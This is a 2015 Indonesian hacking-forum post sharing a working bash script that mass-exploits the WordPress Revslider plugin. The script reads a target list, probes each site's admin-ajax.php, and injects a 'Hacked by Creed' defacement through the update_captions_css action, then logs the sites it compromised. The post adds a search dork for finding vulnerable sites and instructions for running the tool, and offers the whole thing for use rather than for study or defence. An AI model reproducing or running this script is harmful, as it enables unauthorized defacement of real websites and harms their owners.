[BASH] Revslider Exploit Wordpress

**Creed** · 05-14-2015, 06:52 AM

Kali ini saya akan share bot Revslider yang dibuat oleh Index Php, udah ane cek kok semoga aja gak double post.

[Image: Screenshot_4.png]

Bot ini berekstensi bash, orang2 banyak mengatakan Program Shell Linux, dari namanya saja bash ( Bourneo Again Shell ) .
Bash ini hanya bisa dijalankan Oleh OS Linux dan saudaranya saja.

Pertama simpan file bash ini

Code:
#!/bin/bash

#coded = IBT

SS(){

curl --silent --max-time 10 --connect-timeout 10 -o tmp/resp.txt \

-H "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729)" \

-H "Accept-Language: en-us,en;q=0.5" \

-H "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" \

-F "client_action=update_captions_css" \

-F "action=revslider_ajax_action" \

-F "data=x$(cat tmp/s.txt)" \

--request POST "http://${1}/wp-admin/admin-ajax.php"

}

CD(){

if [ -f tmp/cd.txt ];then

rm -f tmp/cd.txt

fi

curl --silent --max-time 10 --connect-timeout 10 "http://${1}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css" -o tmp/cd.txt

if [ ! -f tmp/cd.txt ];then

echo "--> $urlnya : not vuln"

continue

fi

cat tmp/cd.txt | grep -i "Creed" > /dev/null;cd=$?

if [ $cd -eq 0 ];then

echo "--> ${1}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css : exploit success"

echo "http://${1}/wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css" >> success.txt

else

echo "--> $urlnya : exploit failed"

fi

}

CV(){

if [ -f tmp/cv.txt ];then

rm -f tmp/cv.txt

fi

curl --silent --max-time 10 --connect-timeout 10 "http://${1}/wp-admin/admin-ajax.php?action=revslider_ajax_action" -o tmp/cv.txt

if [ ! -f tmp/cv.txt ];then

echo "--> $urlnya : not vuln"

continue

fi

cat tmp/cv.txt | grep "wrong ajax action:" > /dev/null;cv=$?

if [ $cv -eq 1 ];then

echo "--> $urlnya : not vuln"

continue

else

echo "--> $urlnya : found revslider"

fi

}

Exp(){

for url in `cat $list`

do

urlnya=$(echo $url | awk '{gsub("http://","")}1' | awk '{gsub("https://","")}1' | awk '{gsub("//","/")}1' | awk '{gsub("//","/")}1')

if [ ! -f load.txt ];then

touch load.txt

fi

cat load.txt | grep "$urlnya" > /dev/null;ccl=$?

if [ $ccl -eq 1 ];then

echo $urlnya >> load.txt

else

#udah pernah di load di file load.txt

#kalau mau load ulang,silakan hapus file load.txt

continue

fi

echo "--> $urlnya : check"

CV $urlnya

SS $urlnya

CD $urlnya

done

}

Lengkap(){

if [ ! -f $list ];then

echo "[!] $list not exist"

exit

fi

if [ ! -d tmp ];then

mkdir tmp

fi

if [ ! -f tmp/s.txt ];then

cat > tmp/s.txt <<_script

<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by Creed<p style='color: transparent'>

_script

fi

Exp

}

read -p "[+] Enter list target = " list

Lengkap

Ganti Nick Creed dengan nama anda.
save bash dengan rev.sh

lalu buat list targetnya disini ane mempunyai 5 target cara mencari targetnya dengan dork ini
wp-admin/admin-ajax.php?action=revslider_ajax_action&client_action=get_captions_css
simpan list target anda , save dengan nama target.txt

kalau sudah disave dan dijalankan error bash nya di dos2dulu dengan perintah ini

dos2unix rev.sh

dan centang permission executenya seperti ini

[Image: Screenshot_3.png]

apabila sudah tidak error jalan kan bashnya kembali buka terminal ketik bash rev.sh lalu isi target.txt

[Image: Screenshot_8.png]

kalau succes berarti anda berhasil, semoga tutorial sederhana ini berguna bro.. dan semoga jga dapet free email hehe Big Grin